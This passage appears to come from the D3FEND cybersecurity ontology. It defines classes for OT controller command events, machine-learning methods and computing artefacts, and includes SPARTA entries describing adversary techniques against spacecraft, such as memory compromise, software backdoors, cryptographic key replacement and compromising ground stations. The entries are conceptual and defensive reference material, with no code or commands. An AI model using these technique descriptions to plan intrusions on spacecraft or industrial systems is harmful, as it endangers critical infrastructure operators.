kb-article: ## References 1. Non-monotonic logic. (2023, June 1). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Non-monotonic_logic)
subclass of: SymbolicAI

Nonlinear Regression Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-NRL
definition: A supervised learning method that builds a non-linear regression model using training data.
kb-article: ## References Wikipedia. (n.d.). Nonlinear regression. [Link](https://en.wikipedia.org/wiki/Nonlinear_regression)
subclass of: RegressionAnalysisLearning

OT Abort Command Event
type: Class
subclass of: Restriction
  on property: preceded-by
  some values from: OTRunCommandEvent
subclass of: Restriction
  on property: has-participant
  some values from: OT Abort Command
subclass of: Restriction
  on property: has-participant
  some values from: OTControllerOperatingMode
subclass of: OTModifyDeviceOperatingModeCommandEvent

OT Alarm Message Event
type: Class
definition: Report danger, hazards, or serious errors.
subclass of: Restriction
  on property: has-participant
  some values from: OT Alarm Message
subclass of: OTDiagnosticsMessageEvent

OT Change Control Program Command Event
type: Class
definition: Commands a remote device to modify an existing control program.
subclass of: Restriction
  on property: has-participant
  some values from: OT Change Control Program Command
subclass of: Restriction
  on property: has-participant
  some values from: OTControlProgram
subclass of: OTModifyControlProgramCommandEvent

OT Change Data Command Event
type: Class
definition: OT command that modifies existing data on a remote device.
subclass of: Restriction
  on property: has-participant
  some values from: OT Change Data Command
subclass of: OTWriteCommandEvent

OT Control Command Event
type: Class
definition: Command and control the managed process.
subclass of: Restriction
  on property: has-participant
  some values from: OT Control Command
subclass of: OTProcessDataCommandEvent

OT Control Variable
type: Class
definition: A control variable is the measurement of the physical condition of the device that influences the Process Variables.
subclass of: OTLogicVariable
example: If the Set Point of a temperature control system for a residential dwelling is 72 degrees, and the Process Variable is 82 degrees, the Control Variable for the air conditioner should be 'on.'

OT Create Data Command Event
type: Class
definition: OT command that creates data on a remote device.
subclass of: Restriction
  on property: has-participant
  some values from: OT Create Data Command
subclass of: OTWriteCommandEvent

OT Create New Control Program Command Event
type: Class
definition: Commands a remote device to create an control program.
subclass of: Restriction
  on property: has-participant
  some values from: OTControlProgram
subclass of: Restriction
  on property: has-participant
  some values from: OT Create New Control Program Command
subclass of: OTModifyControlProgramCommandEvent

OT Debug Command Event
type: Class
definition: Investigate or analyze the current state of the system.
subclass of: Restriction
  on property: has-participant
  some values from: OT Debug Command
subclass of: OTDiagnosticsMessageEvent

OT Delete Control Program Command Event
type: Class
definition: Commands a remote device to remove an existing control program.
subclass of: Restriction
  on property: has-participant
  some values from: OT Delete Control Program Command
subclass of: Restriction
  on property: has-participant
  some values from: OTControlProgram
subclass of: OTModifyControlProgramCommandEvent

OT Delete Data Command Event
type: Class
definition: OT command that removes data on a remote device.
subclass of: Restriction
  on property: has-participant
  some values from: OT Delete Data Command
subclass of: OTWriteCommandEvent

OT Device Description Message Event
type: Class
definition: Describe features, abilities, or performance of system components.
subclass of: Restriction
  on property: has-participant
  some values from: OT Device Description Message
subclass of: OTDeviceManagementMessageEvent

OT Device Firmware Command Event
type: Class
definition: Interact with the software responsible for low-level control of the system.
subclass of: Restriction
  on property: has-participant
  some values from: OTDeviceFirmwareCommand
subclass of: OTDeviceManagementMessageEvent

OT Device Identification Message Event
type: Class
definition: Identify devices on the network.
subclass of: Restriction
  on property: has-participant
  some values from: OT Device Identification Message
subclass of: OTDeviceManagementMessageEvent

OT Disconnect Remote Connection Command Event
type: Class
definition: The Disconnect Request message is sent to the message receiver to indicate that the transmitter is terminating its TCP socket.
subclass of: Restriction
  on property: has-participant
  some values from: OT Disconnect Remote Connection Command
subclass of: Restriction
  on property: preceded-by
  some values from: OT Establish Remote Connection Command Event
subclass of: OTConnectionCommandEvent

OT Download Control Program Command Event
type: Class
definition: Commands a remote device to download a control program.
subclass of: Restriction
  on property: has-participant
  some values from: OTControlProgram
subclass of: Restriction
  on property: has-participant
  some values from: OT Download Control Program Command
subclass of: OTModifyControlProgramCommandEvent

OT Error Message Event
type: Class
definition: An anticipated, reproducible defect occurred within the system.
subclass of: Restriction
  on property: has-participant
  some values from: OT Error Message
subclass of: OTDiagnosticsMessageEvent

OT Exception Message Event
type: Class
definition: An unknown or anomalous condition occurred in the system.
subclass of: Restriction
  on property: has-participant
  some values from: OT Exception Message
subclass of: OTDiagnosticsMessageEvent

OT Human Machine Interface
type: Class
type: NamedIndividual
contains: HMIApplication
contains: InputDevice
contains: OutputDevice
definition: Human-Machine Interfaces (HMIs) are systems used by an operator to monitor the real-time status of an operational process and to perform necessary control functions, including the adjustment of device parameters.
modifies: OTLogicVariable
reads: OTProcessDataHistorian
synonym: HMI
subclass of: Restriction
  on property: contains
  some values from: OutputDevice
subclass of: Restriction
  on property: reads
  some values from: OTProcessDataHistorian
subclass of: Restriction
  on property: modifies
  some values from: OTLogicVariable
subclass of: Restriction
  on property: contains
  some values from: InputDevice
subclass of: Restriction
  on property: contains
  some values from: HMIApplication
subclass of: OTEmbeddedComputer

OT Mode Switch
type: Class
type: NamedIndividual
controls: OTControllerOperatingMode
definition: Keyswitch or mode switch is the mechanism for changing the operating mode of an OT controller or device.
synonym: Mode Switch
synonym: Programming Key Switch
comment: An OT Mode Switch is a dedicated mechanism, implemented as either a physical keyswitch or a software control, that permits authorized users to transition an OT controller between its operating modes.
subclass of: Restriction
  on property: controls
  some values from: OTControllerOperatingMode
subclass of: ApplicationConfiguration

OT Network
type: Class
type: NamedIndividual
contains: OTEmbeddedComputer
definition: A computer network which connects OT devices.
may-contain: OTEngineeringWorkstation
subclass of: Restriction
  on property: may-contain
  some values from: OTEngineeringWorkstation
subclass of: Restriction
  on property: contains
  some values from: OTEmbeddedComputer
subclass of: IntranetNetwork

OT Pause Command Event
type: Class
definition: Commands a device to pause a service/program.
subclass of: Restriction
  on property: has-participant
  some values from: OTControllerOperatingMode
subclass of: Restriction
  on property: has-participant
  some values from: OT Pause Command
subclass of: Restriction
  on property: preceded-by
  some values from: OTRunCommandEvent
subclass of: OTModifyDeviceOperatingModeCommandEvent

OT Program Mode Command Event
type: Class
definition: Command that places the controller in a mode capable of reprogramming logic. This may or may not stop the program.
subclass of: Restriction
  on property: has-participant
  some values from: OT Program Mode Command
subclass of: Restriction
  on property: has-participant
  some values from: OTControllerOperatingMode
subclass of: OTModifyDeviceOperatingModeCommandEvent

OT Proprietary Message Event
type: Class
definition: Vendor specific and may not be publicly documented, or values left for device specific configuration.
subclass of: Restriction
  on property: has-participant
  some values from: OT Proprietary Message
subclass of: OTEvent

OT Read Device Configuration Command Event
type: Class
definition: Read device configuration.
subclass of: Restriction
  on property: has-participant
  some values from: OT Read Device Configuration Command
subclass of: OTDeviceConfigurationCommandEvent

OT Read File Command Event
type: Class
definition: Reads data in specified chuncks or the contents of a specified file stored in the file device connected to the PC.
subclass of: Restriction
  on property: has-participant
  some values from: File
subclass of: Restriction
  on property: has-participant
  some values from: OT Read File Command
subclass of: OTReadCommandEvent

OT Read Time Command Event
type: Class
definition: Read timing mechanisms.
subclass of: Restriction
  on property: has-participant
  some values from: OT Read Time Command
subclass of: OTTimeCommandEvent

OT Read Value Command Event
type: Class
definition: Reads the contents of the specified number of consecutive parameter areawords starting from the specified word.
subclass of: Restriction
  on property: has-participant
  some values from: OTLogicVariable
subclass of: Restriction
  on property: has-participant
  some values from: OT Read Value Command
subclass of: OTReadCommandEvent

OT Remote Mode Command Event
type: Class
definition: Command that places the controller in a mode capable of receiving read/write communication from a networked entity.
subclass of: Restriction
  on property: has-participant
  some values from: NetworkTraffic
subclass of: Restriction
  on property: has-participant
  some values from: OTControllerOperatingMode
subclass of: Restriction
  on property: has-participant
  some values from: OT Remote Mode Command
subclass of: OTModifyDeviceOperatingModeCommandEvent

OT Scan Time
type: Class
definition: An OT controller system variable that tracks the measured time it takes to read input status, apply logic, and write output values.
subclass of: ApplicationScanTime

OT Security Command Event
type: Class
definition: Ensure confidentiality, integrity, or availability of system information.
subclass of: Restriction
  on property: has-participant
  some values from: OT Security Command
subclass of: OTNetworkManagementCommandEvent

OT Set Time Command Event
type: Class
definition: Set timing mechanisms.
subclass of: Restriction
  on property: has-participant
  some values from: OT Set Time Command
subclass of: OTTimeCommandEvent

OT Stop Command Event
type: Class
definition: Commands a device to stop a service/program.
subclass of: Restriction
  on property: has-participant
  some values from: OTControllerOperatingMode
subclass of: Restriction
  on property: has-participant
  some values from: OT Stop Command
subclass of: Restriction
  on property: preceded-by
  some values from: OTRunCommandEvent
subclass of: OTModifyDeviceOperatingModeCommandEvent

OT Synchronize Time Command Event
type: Class
definition: Used to align timing mechanisms.
subclass of: Restriction
  on property: has-participant
  some values from: OT Synchronize Time Command
subclass of: OTTimeCommandEvent

OT Test Command Event
type: Class
definition: Commands a device to run a program in Test mode.
subclass of: Restriction
  on property: has-participant
  some values from: OTControllerOperatingMode
subclass of: Restriction
  on property: has-participant
  some values from: OT Test Command
subclass of: OTModifyDeviceOperatingModeCommandEvent

OT Transport Configuration Command Event
type: Class
definition: Configure transport settings for a communication channel.
subclass of: Restriction
  on property: has-participant
  some values from: OT Transport Configuration Command
subclass of: OTNetworkManagementCommandEvent

OWL
type: Class
type: NamedIndividual
d3fend-id: D3A-OWL
definition: The Web Ontology Language (OWL) is a family of knowledge representation languages for authoring ontologies.
kb-article: ## How it works Ontologies are a formal way to describe taxonomies and classification networks, essentially defining the structure of knowledge for various domains: the nouns representing classes of objects and the verbs representing relations between the objects. The OWL languages are characterized by formal semantics. They are built upon the World Wide Web Consortium's (W3C) standard for objects called the Resource Description Framework (RDF). OWL classes correspond to description logic (DL) _concepts_. OWL properties to DL _roles_, and individuals are named the same way in OWL and other DLs. ## References 1. Web Ontology Language. (2023, April 23). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Web_Ontology_Language)
synonym: Web Ontology Language
subclass of: Description Logic

Offensive Action
type: Class
subclass of: Cyber Action

Open-source Developer
type: Class
definition: An open-source developer contributes to the development, maintenance, or improvement of open-source projects.
subclass of: Product Developer

Operating System Configuration Modification Event
type: Class
definition: An event that alters persistent operating-system configuration resources such as kernel options, registry keys, service definitions, or security policies; affecting system startup, hardware interfaces, or global security enforcement.
subclass of: Restriction
  on property: has-participant
  some values from: OperatingSystemConfiguration
subclass of: ConfigurationModificationEvent

Operating System Packaging Tool
type: Class
definition: A software packaging tool oriented on building a software package for a particular operating system (e.g. rpmbuild.)
subclass of: SoftwarePackagingTool

Operational Event
type: Class
definition: An Operational Event is an action or occurrence within an organization's mission or business operations that happens over a period of time.
synonym: Business Event
synonym: Business Process
synonym: Mission Event
synonym: Operational Activity Event
synonym: Operational Occurrence
subclass of: Action

Operations Center Computer
type: Class
definition: Mainframe computers or mainframes (colloquially referred to as "big iron") are computers used primarily by large organizations for critical applications; bulk data processing, such as census, industry and consumer statistics, and enterprise resource planning; and transaction processing. They are larger and have more processing power than some other classes of computers: minicomputers, servers, workstations, and personal computers.
subclass of: SharedComputer
alternative label: Mainframe

Optical Disc Image
type: Class
definition: An optical disc image (or ISO image, from the ISO 9660 file system used with CD-ROM media) is a disk image that contains everything that would be written to an optical disc, disk sector by disc sector, including the optical disc file system.
subclass of: Disk Image

Optical Modem
type: Class
definition: A modem that connects to a fiber optic network is known as an optical network terminal (ONT) or optical network unit (ONU). These are commonly used in fiber to the home installations, installed inside or outside a house to convert the optical medium to a copper Ethernet interface, after which a router or gateway is often installed to perform authentication, routing, NAT, and other typical consumer internet functions, in addition to "triple play" features such as telephony and television service.
subclass of: Modem

Orchestration Worker
type: Class
definition: A d3f:Server which receives commands from a d3f:OrchestrationController to execute workloads.
subclass of: OrchestrationServer

Outbound Internet RPC Traffic
type: Class
definition: Outbound internet RPC traffic is RPC traffic that is: (a) on an outgoing connection initiated from a host within a network to a host outside the network, and (b) using a standard RPC protocol.
subclass of: OutboundInternetNetworkTraffic
subclass of: OutboundNetworkTraffic
subclass of: RPCNetworkTraffic

Output Device Event
type: Class
definition: An event describing the activity or state of output devices, including sound cards, display adapters, or media controllers. These events relate to audio, video, or graphics functionality.
subclass of: Restriction
  on property: has-participant
  some values from: OutputDevice
subclass of: HardwareDeviceEvent

PE32 Executable File
type: ExecutableBinary
type: NamedIndividual

PE32+ Executable File
type: ExecutableBinary
type: NamedIndividual

Memory Compromise - SPARTA
type: Class
attack-id: PER-0001
definition: Threat actors may manipulate memory (boot, RAM, etc.) in order for their malicious code and/or commands to remain on the victim spacecraft. The spacecraft may have mechanisms that allow for the automatic running of programs on system reboot, entering or returning to/from safe mode, or during specific events. Threat actors may target these specific memory locations in order to store their malicious code or file, ensuring that the attack remains on the system even after a reset.
subclass of: SPARTAPersistenceTechnique
preferred label: Memory Compromise

Hardware Backdoor - SPARTA
type: Class
attack-id: PER-0002.01
definition: Threat actors may find and target various hardware backdoors within the victim spacecraft in the hopes of maintaining their attack. Once in orbit, mitigating the risk of various hardware backdoors becomes increasingly difficult for ground controllers. By targeting these specific vulnerabilities, threat actors are more likely to remain persistent on the victim spacecraft and perpetuate further attacks.
subclass of: PER-0002
preferred label: Hardware Backdoor

Software Backdoor - SPARTA
type: Class
attack-id: PER-0002.02
definition: Threat actors may inject code to create their own backdoor to establish persistent access to the spacecraft. This may be done through modification of code throughout the software supply chain or through modification of the software-defined radio configuration (if applicable).
subclass of: PER-0002
preferred label: Software Backdoor

Ground System Presence - SPARTA
type: Class
attack-id: PER-0003
definition: Threat actors may compromise target owned ground systems that can be used for persistent access to the spacecraft or to perpetuate other techniques. These ground systems have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute persistently.
subclass of: SPARTAPersistenceTechnique
preferred label: Ground System Presence

Replace Cryptographic Keys - SPARTA
type: Class
attack-id: PER-0004
definition: Threat actors may attempt to fully replace the cryptographic keys on the spacecraft which could lockout the mission operators and enable the threat actor's communication channel. Once the encryption key is changed on the spacecraft, the spacecraft is rendered inoperable from the operators perspective as they have lost commanding access. Threat actors may exploit weaknesses in the key management strategy. For example, the threat actor may exploit the over-the-air rekeying procedures to inject their own cryptographic keys.
subclass of: SPARTAPersistenceTechnique
preferred label: Replace Cryptographic Keys

Credentialed Persistence - SPARTA
type: Class
attack-id: PER-0005
definition: Threat actors may acquire or leverage valid credentials to maintain persistent access to a spacecraft or its supporting command and control (C2) systems. These credentials may include system service accounts, user accounts, maintenance access credentials, cryptographic keys, or other authentication mechanisms that enable continued entry without triggering access alarms. By operating with legitimate credentials, adversaries can sustain access over extended periods, evade detection, and facilitate follow-on tactics such as command execution, data exfiltration, or lateral movement. Credentialed persistence is particularly effective in environments lacking strong credential lifecycle management, segmentation, or monitoring allowing threat actors to exploit trusted pathways while remaining embedded in mission operations.
subclass of: SPARTAPersistenceTechnique
preferred label: Credentialed Persistence

POSIX Symbolic Link
type: Class
definition: A POSIX-compliant symbolic link. These are often fast symbolic links, but need not be.
subclass of: SymbolicLink
subclass of: UnixLink

Package URL
type: Class
type: NamedIndividual
definition: A package URL, or purl, is a URL used to identify a software package in a mostly universal and uniform way across programming languages, package managers, packaging conventions, tools, APIs and databases.
identifies: SoftwarePackage
subclass of: Restriction
  on property: identifies
  some values from: SoftwarePackage
subclass of: URL
alternative label: purl

Packet Log
type: Class
type: NamedIndividual
definition: A log of all the network packet data captured from a network by a network sensor (i.e., packet analyzer),
records: NetworkSession
summarizes: PacketCaptureFile
subclass of: Restriction
  on property: summarizes
  some values from: PacketCaptureFile
subclass of: Restriction
  on property: records
  some values from: NetworkSession
subclass of: Log

Page
type: Class
definition: A page, memory page, logical page, or virtual page is a fixed-length contiguous block of virtual memory, described by a single entry in the page table. It is the smallest unit of data for memory management in a virtual memory operating system.
subclass of: MemoryBlock

Parameter-based Transfer Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-PBTL
definition: The idea behind parameter-based methods is that a well-trained model on the source domain has learned a well-defined structure, and if two tasks are related, this structure can be transferred to the target model.
kb-article: ## References Georgian Impact Blog. (n.d.). Transfer Learning Part 1. [Link](https://medium.com/georgian-impact-blog/transfer-learning-part-1-ed0c174ad6e7#:~:text=Homogeneous%20Transfer%20Learning-,1.,the%20target%20domain%20for%20training).
subclass of: HomogenousTransferLearning

Parametric Tests
type: Class
type: NamedIndividual
d3fend-id: D3A-PT
definition: A parametric test relies upon the assumption that the data you want to test is (or approximately is) normally distributed.
kb-article: ## References Newcastle University. (n.d.). Parametric Hypothesis Tests. [Link](https://www.ncl.ac.uk/webtemplate/ask-assets/external/maths-resources/psychology/parametric-hypothesis-tests.html)
subclass of: HypothesisTesting

Parent Process
type: Class
definition: In computing, a parent process is a process that has created one or more child processes.
subclass of: Process

Password Manager
type: Class
type: NamedIndividual
contains: Credential
definition: A password manager is a software application or hardware that helps a user store and organize passwords. Password managers usually store passwords encrypted, requiring the user to create a master password: a single, ideally very strong password which grants the user access to their entire password database. Some password managers store passwords on the user's computer (called offline password managers), whereas others store data in the provider's cloud (often called online password managers). However offline password managers also offer data storage in the user's own cloud accounts rather than the provider's cloud. While the core functionality of a password manager is to securely store large collections of passwords, many provide additional features such as form filling and password generation.
subclass of: Restriction
  on property: contains
  some values from: Credential
subclass of: Application

Pearson's Correlation Coefficient
type: Class
type: NamedIndividual
d3fend-id: D3A-PCC
kb-article: ## References Wolfram MathWorld. (n.d.). Correlation Coefficient. [Link](https://mathworld.wolfram.com/CorrelationCoefficient.html)
subclass of: Correlation

Peripheral Device Event
type: Class
definition: An event involving external or auxiliary devices, such as USB drives, Thunderbolt peripherals, or Bluetooth devices. Peripheral events provide visibility into resource availability and potential unauthorized access.
subclass of: Restriction
  on property: has-participant
  some values from: RemovableMediaDevice
subclass of: HardwareDeviceEvent

Peripheral Hub Firmware
type: Class
definition: Firmware that is installed on peripheral hub device such as a USB or Firewire hub.
subclass of: PeripheralFirmware
alternative label: USB Hub Firmware

Perturbation-based Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-PBL
definition: Perturbation based methods are proposed under the smoothness assumption, which indicates that two data points close to each other in feature space are likely to have the same label.
kb-article: ## References Zheng, Y., & Song, Y. (2021). An Effective Perturbation-Based Semi-Supervised Learning Method for Acoustic Event Classification. IEEE/ACM Transactions on Audio, Speech, and Language Processing, 29, 3580-3591. [Link](https://www.semanticscholar.org/paper/An-Effective-Perturbation-Based-Semi-Supervised-for-Zheng-Song/b75ae37d137ac354eb2ed42917e461b4dccdc977). Engelen, S., & Hoos, H. (2020). A survey on semi-supervised learning. Machine Learning, 109(2), 299-337. [Link](https://link.springer.com/article/10.1007/s10994-019-05855-6).
subclass of: IntrinsicallySemi-supervisedLearning

Phi Coefficient
type: Class
type: NamedIndividual
d3fend-id: D3A-PC
definition: The phi coefficient (or mean square contingency coefficient is a measure of association for two binary variables.
kb-article: ## References \Wikipedia. (n.d.). Phi coefficient. [Link](https://en.wikipedia.org/wiki/Phi_coefficient)
synonym: MCC
synonym: Matthews Correlation Coefficient (in machine learning)
subclass of: Correlation

Physical Attacker
type: Class
definition: An attacker who is physically close enough to interact with the system directly, such as through physical access to devices.
subclass of: Restriction
  on property: accesses
  some values from: ComputerPlatform
subclass of: Restriction
  on property: accesses
  some values from: HardwareDevice
subclass of: LocalAttacker

Physical Link Disable Event
type: Class
definition: An administrator issues a shutdown or disable command, forcing the link out of service regardless of signal status.
subclass of: Restriction
  on property: preceded-by
  some values from: PhysicalLinkUpEvent
subclass of: PhysicalLinkEvent

Physical Link Error Disable Event
type: Class
definition: The device automatically disables the link in response to fault conditions such as excessive faults or signal degradation.
subclass of: Restriction
  on property: preceded-by
  some values from: PhysicalLinkDownEvent
subclass of: PhysicalLinkEvent

Pix2Pix
type: Class
type: NamedIndividual
d3fend-id: D3A-PIX
definition: Pix2Pix is based on condtional GAN architecture and are trained on paired set of images or scenes from two domains to be used for translation.
kb-article: ## References Esri. (n.d.). How Pix2Pix Works. [Link](https://developers.arcgis.com/python/guide/how-pix2pix-works/)
subclass of: Image-to-ImageTranslationGAN

Point-biserial Correlation Coefficient
type: Class
type: NamedIndividual
d3fend-id: D3A-PBCC
definition: The point biserial correlation coefficient (rpb) is a correlation coefficient used when one variable (e.g. Y) is dichotomous; Y can either be "naturally" dichotomous, like whether a coin lands heads or tails, or an artificially dichotomized variable.
kb-article: ## References Wikipedia. (n.d.). Point-biserial correlation coefficient. [Link](https://en.wikipedia.org/wiki/Point-biserial_correlation_coefficient)
subclass of: Correlation

Point Estimation
type: Class
type: NamedIndividual
d3fend-id: D3A-PE
definition: A point estimation is a single value that estimates the parameter. Point estimates are single values calculated from the sample
kb-article: ## References Pennsylvania State University. (n.d.). Statistical Inference and Estimation. [Link](https://online.stat.psu.edu/stat504/lesson/statistical-inference-and-estimation)
subclass of: Estimation

Power and Thermal Device Event
type: Class
definition: An event involving power supplies, batteries, or thermal management devices. These events represent changes in power states, temperature thresholds, or cooling system activity.
subclass of: Restriction
  on property: has-participant
  some values from: Sensor
subclass of: HardwareDeviceEvent

Powershell Script File
type: ExecutableScript
type: NamedIndividual

Pre-Authentication Event
type: Class
definition: An event representing preparatory steps or processes conducted prior to the primary authentication operation. Pre-authentication often involves initial protocol exchanges, cryptographic challenges, or the validation of supplemental factors (e.g., pre-shared keys) to ensure the readiness and security of the authentication workflow.
subclass of: Restriction
  on property: precedes
  some values from: Authentication
subclass of: AuthenticationEvent

Principal Component Analysis
type: Class
type: NamedIndividual
d3fend-id: D3A-PCA
definition: Principal components analysis (PCA) creates a new set of orthogonal variables that contain the same information as the original set. It rotates the axes of variation to give a new set of orthogonal axes, ordered so that they summarize decreasing proportions of the variation.
kb-article: ## References Wikipedia. (n.d.). Multivariate statistics. [Link](https://en.wikipedia.org/wiki/Multivariate_statistics)
synonym: PCA
subclass of: MultivariateAnalysis

Principal Components Analysis
type: Class
type: NamedIndividual
d3fend-id: D3A-PCA
definition: Principal Component Analysis (PCA) is a statistic-based method of identifying patterns in a large dataset while increasing interpretability and preserving information.
kb-article: ## References Wikipedia. (n.d.). Principal component analysis. [Link](https://en.wikipedia.org/wiki/Principal_component_analysis)
subclass of: DimensionReduction

Print Server
type: Class
definition: A print server, or printer server, is a device that connects printers to client computers over a network. It accepts print jobs from the computers and sends the jobs to the appropriate printers, queuing the jobs locally to accommodate the fact that work may arrive more quickly than the printer can actually handle.
subclass of: Server

Probabilistic Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-PL
definition: Probabilistic logic extends traditional logic truth tables with probabilistic expressions.
kb-article: ## References 1. Probabilistic logic. (2023, June 5). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Probabilistic_logic)
subclass of: SymbolicAI

Process Access Event
type: Class
definition: An event where one process interacts with another, such as reading memory, inspecting state, or altering behavior.
subclass of: Restriction
  on property: preceded-by
  some values from: ProcessCreationEvent
subclass of: ProcessEvent

Process Set User ID Event
type: Class
definition: An event where a process changes or adopts a specific user identity, modifying its access privileges or operational context.
subclass of: Restriction
  on property: preceded-by
  some values from: ProcessCreationEvent
subclass of: ProcessEvent

Process Termination Event
type: Class
definition: An event marking the cessation of a process, including resource deallocation and cleanup, either due to normal completion or abnormal termination.
subclass of: Restriction
  on property: preceded-by
  some values from: ProcessCreationEvent
subclass of: ProcessEvent

Progressively Growing GAN
type: Class
type: NamedIndividual
d3fend-id: D3A-PGG
definition: Progressive Growing GAN (ProGAN) is an extension to the GAN training process that allows for the stable training of generator models that can output large high-quality images.
kb-article: ## References Machine Learning Mastery. (n.d.). Introduction to Progressive Growing Generative Adversarial Networks. [Link](https://machinelearningmastery.com/introduction-to-progressive-growing-generative-adversarial-networks/)
synonym: ProGAN
subclass of: ImageSynthesisGAN

Projected Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-PC
definition: Projected clustering is a dimension reduction subspace clustering method.
kb-article: ## References GeeksforGeeks. (n.d.). Projected Clustering in Data Analytics. [Link](https://www.geeksforgeeks.org/projected-clustering-in-data-analytics/)
subclass of: High-dimensionClustering

Prolog
type: Class
type: NamedIndividual
d3fend-id: D3A-PRO
definition: Prolog has its roots in first-order logic, a formal logic, and unlike many other programming languages.
kb-article: ## How it works Prolog is intended primarily as a declarative programming language: the program logic is expressed in terms of relations, represented as facts and rules. A computation is initiated by running a query over these relations. ## References 1. Prolog. (2023, April 5). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Prolog)
subclass of: LogicProgramming

Propositional Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-PL
definition: Propositional logic deals with statements (i.e., propositions, which can be true or false) and relations between propositions, including the construction of arguments based on them.
kb-article: ## How it works Compound propositions are formed by connecting propositions by logical connectives. Propositions that contain no logical connectives are called atomic propositions. ## References 1. Propositional Calculus. (2022, May 31). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Propositional_calculus)
synonym: Propositional Calculus
subclass of: SymbolicAI

Proximity Sensor Event
type: Class
subclass of: Restriction
  on property: has-participant
  some values from: ProximitySensor
subclass of: PhysicalAccessAlarmEvent

Python Package
type: Class
definition: A Python package is an aggregation of many Python files - either in source code or in bytecode - and associated metadata and resources (text, images, etc.). Python packages can be distributed in different file formats.
subclass of: SoftwarePackage

Python Script File
type: Class
synonym: A script file written in the Python programming language.
subclass of: ExecutableScript

Query By Committee
type: Class
type: NamedIndividual
d3fend-id: D3A-QBC
definition: Query by Committee (QBC) takes inspiration from ensemble methods. Instead of just one classifier, it takes into account the decision of a committee C=ℎ1,…,ℎc of classifiers ℎi. Each classifier has the same target classes, but a different underlying model or a different view on the data.
kb-article: ## References Intro to Active Learning. inovex Blog. [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).
subclass of: ActiveLearning

RAM
type: Class
definition: Random-access memory (RAM) is a form of computer memory that can be read and changed in any order, typically used to store working data and machine code.
synonym: Random-access Memory
subclass of: PrimaryStorage

Ground Station Equipment - SPARTA
type: Class
attack-id: RD-0001.01
definition: Threat actors will likely need to acquire the following types of equipment to establish ground-to-space communications: Antenna positioners: which also usually come with satellite tracking antenna systems, in order to accurately send and receive signals along several different bands. This infrastructure is useful in pinpointing the location of a spacecraft in the sky. Ground antennas: in order to send commands and receive telemetry from the victim spacecraft. Threat actors can utilize these antennas in relation to other tactics such as execution and exfiltration. Instead of compromising a third-part ground station, threat actors may opt to configure and run their own antennas in support of operations. Ground data processors: in order to convert RF signals to TCP packets. This equipment is utilized in ground stations to convert the telemetry into human readable format. Ground radio modems: in order to convert TCP packs to RF signals. This equipment is utilized in ground stations to convert commands into RF signals in order to send them to orbiting spacecraft. Signal generator: in order to configure amplitude, frequency, and apply modulations to the signal. Additional examples of equipment include couplers, attenuators, power dividers, diplexers, low noise amplifiers, high power amplifiers, filters, mixers, spectrum analyzers, etc.
subclass of: RD-0001
preferred label: Ground Station Equipment

Commercial Ground Station Services - SPARTA
type: Class
attack-id: RD-0001.02
definition: Threat actors may buy or rent commercial ground station services. These services often have all of the individual parts that are needed to properly communicate with spacecrafts. By utilizing existing infrastructure, threat actors may save time, money, and effort in order to support operations.
subclass of: RD-0001
preferred label: Commercial Ground Station Services

Spacecraft - SPARTA
type: Class
attack-id: RD-0001.03
definition: Threat actors may acquire their own spacecraft that has the capability to maneuver within close proximity to a target spacecraft. Since many of the commercial and military assets in space are tracked, and that information is publicly available, attackers can identify the location of space assets to infer the best positioning for intersecting orbits. Proximity operations support avoidance of the larger attenuation that would otherwise affect the signal when propagating long distances, or environmental circumstances that may present interference.
subclass of: RD-0001
preferred label: Spacecraft

Launch Facility - SPARTA
type: Class
attack-id: RD-0001.04
definition: Threat actors may need to acquire a launch facility, which is a specialized location designed for launching spacecraft and rockets into space. These facilities typically include launch pads, control centers, and assembly buildings, and are often located near bodies of water or in remote areas to minimize potential safety hazards and provide enough room for rocket launches. Launch facilities can be operated by the military, national space agencies such as NASA in the United States or Roscosmos in Russia, or by private companies such as SpaceX or Blue Origin.
subclass of: RD-0001
preferred label: Launch Facility

Mission-Operated Ground System - SPARTA
type: Class
attack-id: RD-0002.01
definition: Threat actors may compromise mission owned/operated ground systems that can be used for future campaigns or to perpetuate other techniques. These ground systems have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute an operation. Threat actors may utilize these systems for various tasks, including Execution and Exfiltration.
subclass of: RD-0002
preferred label: Mission-Operated Ground System

3rd Party Ground System - SPARTA
type: Class
attack-id: RD-0002.02
definition: Threat actors may compromise access to third-party ground systems that can be used for future campaigns or to perpetuate other techniques. These ground systems can be or may have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute an operation.
subclass of: RD-0002
preferred label: 3rd Party Ground System

3rd-Party Spacecraft - SPARTA
type: Class
attack-id: RD-0002.03
definition: Threat actors may compromise a 3rd-party spacecraft that has the capability to maneuver within close proximity to a target spacecraft. This technique enables historically lower-tier attackers the same capability as top tier nation-state actors without the initial development cost. Additionally, this technique complicates attribution of an attack. Since many of the commercial and military assets in space are tracked, and that information is publicly available, attackers can identify the location of space assets to infer the best positioning for intersecting orbits. Proximity operations support avoidance of the larger attenuation that would otherwise affect the signal when propagating long distances, or environmental circumstances that may present interference. Further, the compromised spacecraft may posses the capability to grapple target spacecraft once it has established the appropriate space rendezvous. If from a proximity / rendezvous perspective a threat actor has the ability to connect via docking interface or expose testing (i.e., JTAG port) once it has grappled the target spacecraft, they could perform various attacks depending on the access enabled via the physical connection.
subclass of: RD-0002
preferred label: 3rd-Party Spacecraft

Exploit/Payload - SPARTA
type: Class
attack-id: RD-0003.01
definition: Threat actors may buy, steal, or download exploits and payloads that can be used for future campaigns or to perpetuate other techniques. An exploit/payload takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on the victim spacecraft's hardware, software, and/or subsystems. Rather than develop their own, threat actors may find/modify exploits from online or purchase them from exploit vendors.
subclass of: RD-0003
preferred label: Exploit/Payload

Cryptographic Keys - SPARTA
type: Class
attack-id: RD-0003.02
